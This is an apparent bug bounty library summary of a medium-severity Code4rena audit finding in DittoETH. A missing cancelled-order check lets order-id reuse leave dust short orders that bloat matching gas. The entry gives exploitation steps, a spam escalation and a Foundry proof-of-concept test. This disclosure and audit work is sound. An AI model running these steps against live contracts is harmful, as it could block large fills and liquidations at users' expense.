# ShortOrders can be created with ercAmount == minAskEth/2, increasing the gas costs for matching large orders and disincentivizing liquidators from liquidating them

Cancelled ShortOrder still referencing a ShortRecord lets a user exit debt while leaving a minAskEth/2 dust short order, bloating match gas and deterring liquidators.

- Payout: Audit contest
- Severity: medium
- Program: DittoETH
- Found by: nonseodion
- Disclosed: 2024-06-25
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-03-dittoeth-findings/issues/129
- Library page: https://bugbountylibrary.com/r/c4%3A2024-03-dittoeth%3AM-06
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:chained technique:source-review vuln:business-logic vuln:dos vuln:liquidation

**Target:** DittoETH ShortOrder/ShortRecord matching and exit logic (bidMatchAlgo, checkShortMinErc)
**Root cause:** checkShortMinErc validates shortOrder.shortRecordId and addr but not whether the ShortOrder is cancelled, so a stale cancelled order can be used to exit a ShortRecord; combined with the DUST_FACTOR threshold, a minAskEth/2 remainder survives matching.
**Steps:**
1. Create two unmatched ShortOrders from addresses A and B.
2. Cancel B's order then A's so B's id is reused first.
3. Create a new ShortOrder from A (~3000 DUSD) that reuses A's ShortRecord but B's order id, leaving A's old order cancelled yet pointing to the ShortRecord.
4. Place a bid of 3000 - minAskEth/2 DUSD to partially fill, leaving minAskEth/2 in the order (>= minAskEth*DUST_FACTOR so not deleted).
5. Call `exitShortWallet(asset, C.SHORT_STARTING_ID, debt, 101)` using the cancelled order id; ShortRecord closes while the minAskEth/2 ShortOrder persists.
**How found:** Code reading of bidMatchAlgo dust-threshold logic (DUST_FACTOR=0.5) and checkShortMinErc's missing cancelled-order check, then reasoned about order-id reuse to keep a stale order pointing at a ShortRecord.
**Exploitation:** Attacker repeatedly creates dust minAskEth/2 ShortOrders that survive matching, forcing large-order matches to iterate over many tiny orders, raising gas and disincentivizing liquidators.
**Escalation:** Spamming many dust orders to make large fills run out of gas and to make liquidations uneconomical.
**Insight:** When a validation checks ownership/pointer fields of an order, also check its lifecycle status (cancelled); order-id reuse can leave stale orders that still satisfy pointer checks. Dust thresholds expressed as fractions of minAskEth create exploitable remainders.

## Proof of concept (copied exactly from the original report)

**Foundry test creating tiny ShortRecord via cancelled order**

```
function test_CreateTinySR() public {
        // create two short orders 
        fundLimitShortOpt(0.5 ether, 2000 ether, receiver);
        fundLimitShortOpt(1 ether, 5000 ether, sender);
        
        vm.prank(sender);
        cancelShort(101); // cancel sender's short order so it won't be the first reused order
        
        vm.startPrank(receiver);
        cancelShort(100); // cancel receiver's short order so it will be the first reused order
        vm.stopPrank();
        
        // 1. Create a short add it to the market, the short reuses id 100 (receiver's former short).
        // 2. Create a bid and let it match the short leaving minAskEth/2 i.e. minAskEth*dustFactor.
        //    The dust factor is 0.5.
        uint minAskEth = diamond.getAssetNormalizedStruct(asset).minAskEth;
        uint88 debt = uint88(3000 ether - minAskEth/2);
        fundLimitShortOpt(1 ether, 3000 ether, sender);
        fundLimitBidOpt(1 ether, debt, receiver);

        // The sender's Short Record is reused and partially filled. It also has a new short Order.
        // The old cancelled short Order still references this ShortRecord.
        STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertTrue(short.status == SR.PartialFill); 
        // The Short Record's new Short Order
        STypes.Order[] memory shortOrders = getShorts();
        assertEq(shortOrders.length, 1);
        assertEq(shortOrders[0].id, 100);
        assertEq(shortOrders[0].ercAmount, minAskEth/2); // order has minAsk/2
        
        // give sender the amount needed to exit
        deal(asset, sender, debt);
        vm.prank(sender);

        // exit with the old short order id which has > minShortErc
        diamond.exitShortWallet(asset,  C.SHORT_STARTING_ID, debt, 101);
        // short Order still exists
        shortOrders = getShorts();
        assertEq(shortOrders[0].id, 100);
        assertEq(shortOrders[0].ercAmount, minAskEth/2);
        // short Record has been closed and will only be filled up to minAskEth/2
        short = getShortRecord(sender, C.SHORT_STARTING_ID);
        assertEq(uint(short.status), uint(SR.Closed)); 
    }
```

